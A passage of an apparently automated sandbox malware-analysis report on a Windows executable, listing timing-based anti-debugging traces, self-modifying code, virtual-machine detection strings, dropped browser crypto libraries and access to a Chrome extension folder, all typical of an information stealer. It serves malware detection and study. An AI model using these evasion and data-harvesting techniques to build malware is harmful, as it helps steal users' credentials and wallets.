Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935AF8 second address: 935B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7A98DDD9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938BC3 second address: 938BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938BD8 second address: 938BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9482C7 second address: 9482CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9482CD second address: 9482D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946AF2 second address: 946B2B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jg 00007F7A9876E32Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F7A9876E336h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F7A9876E32Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946B2B second address: 946B67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DFh 0x00000007 jmp 00007F7A98DDD9E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7A98DDD9E5h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946B67 second address: 946B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946DF2 second address: 946DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946DF6 second address: 946DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94708F second address: 947097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947097 second address: 94709F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9471FF second address: 947203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947372 second address: 947378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94751B second address: 947521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947521 second address: 947527 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947527 second address: 94752D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947FC6 second address: 947FCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94BC07 second address: 94BC1A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A98DDD9D6h 0x00000008 jg 00007F7A98DDD9D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94BC1A second address: 94BC25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7A9876E326h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B7FF second address: 94B80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7A98DDD9D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B80B second address: 94B810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B947 second address: 94B96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F7A98DDD9D6h 0x0000000d jmp 00007F7A98DDD9E7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC2A second address: 95AC3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7A9876E326h 0x0000000a jns 00007F7A9876E326h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC3A second address: 95AC45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC45 second address: 95AC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7A9876E32Fh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC61 second address: 95AC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC65 second address: 95AC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955792 second address: 9557B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A98DDD9E9h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9557B2 second address: 9557C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Fh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8639D2 second address: 8639D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8639D8 second address: 8639EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A9876E330h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8639EC second address: 8639F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9671D7 second address: 9671DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9776F3 second address: 977707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7A98DDD9DAh 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977707 second address: 977725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7A9876E326h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A9876E32Fh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9778BB second address: 9778C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AEA4 second address: 97AEAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AEAA second address: 97AEB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AEB0 second address: 97AEB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AD3D second address: 97AD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AD43 second address: 97AD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AD47 second address: 97AD65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DAh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F7A98DDD9D6h 0x00000013 jng 00007F7A98DDD9D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C50B second address: 97C513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C513 second address: 97C518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C518 second address: 97C51D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DAF5 second address: 97DAF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980539 second address: 980544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F7A9876E326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980790 second address: 980796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9808BF second address: 9808C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9808C3 second address: 9808C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9808C7 second address: 9808CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980B7E second address: 980B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980B87 second address: 980BA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E335h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980BA7 second address: 980BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980BAB second address: 980C60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E330h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F7A9876E328h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 push esi 0x00000026 mov dword ptr [ebp+12447F75h], esi 0x0000002c pop edx 0x0000002d cld 0x0000002e push dword ptr [ebp+122D17B8h] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F7A9876E328h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e xor edx, dword ptr [ebp+122D1BE2h] 0x00000054 jmp 00007F7A9876E32Fh 0x00000059 call 00007F7A9876E329h 0x0000005e push ecx 0x0000005f jmp 00007F7A9876E339h 0x00000064 pop ecx 0x00000065 push eax 0x00000066 pushad 0x00000067 push edi 0x00000068 je 00007F7A9876E326h 0x0000006e pop edi 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980C60 second address: 980C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980C64 second address: 980CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007F7A9876E336h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007F7A9876E326h 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e jnc 00007F7A9876E330h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F7A9876E335h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984139 second address: 98413F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98413F second address: 98416B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A9876E32Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A9876E334h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98416B second address: 984179 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F7A98DDD9DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0281 second address: 4FE02AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A9876E32Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02AE second address: 4FE02B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02FE second address: 4FE0302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0302 second address: 4FE0308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0308 second address: 4FE036F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e jmp 00007F7A9876E32Ah 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 pop ebx 0x00000019 movzx eax, di 0x0000001c popad 0x0000001d movsx edx, ax 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov edx, 5FCC9C8Ch 0x0000002b pushfd 0x0000002c jmp 00007F7A9876E335h 0x00000031 and si, F766h 0x00000036 jmp 00007F7A9876E331h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE09E1 second address: 4FE09FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE09FF second address: 4FE0AA2 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 2F6220D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F7A9876E336h 0x00000010 push eax 0x00000011 pushad 0x00000012 mov edx, 25940204h 0x00000017 mov ecx, edi 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushad 0x0000001d jmp 00007F7A9876E32Bh 0x00000022 mov cx, 03FFh 0x00000026 popad 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F7A9876E332h 0x0000002e add si, C9E8h 0x00000033 jmp 00007F7A9876E32Bh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F7A9876E338h 0x0000003f add esi, 7F5A5C48h 0x00000045 jmp 00007F7A9876E32Bh 0x0000004a popfd 0x0000004b popad 0x0000004c popad 0x0000004d mov ebp, esp 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 jmp 00007F7A9876E32Bh 0x00000057 mov dl, al 0x00000059 popad 0x0000005a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 701BE9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9243F4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004B4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004ADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004ADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_004AE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004ABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_004ABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004A16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004B3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004AF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004B38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004B4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_004AED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004ADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004ADE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004A1160 GetSystemInfo,ExitProcess,

0_2_004A1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU
Source: file.exe, 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14773
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13586
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13606
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13583
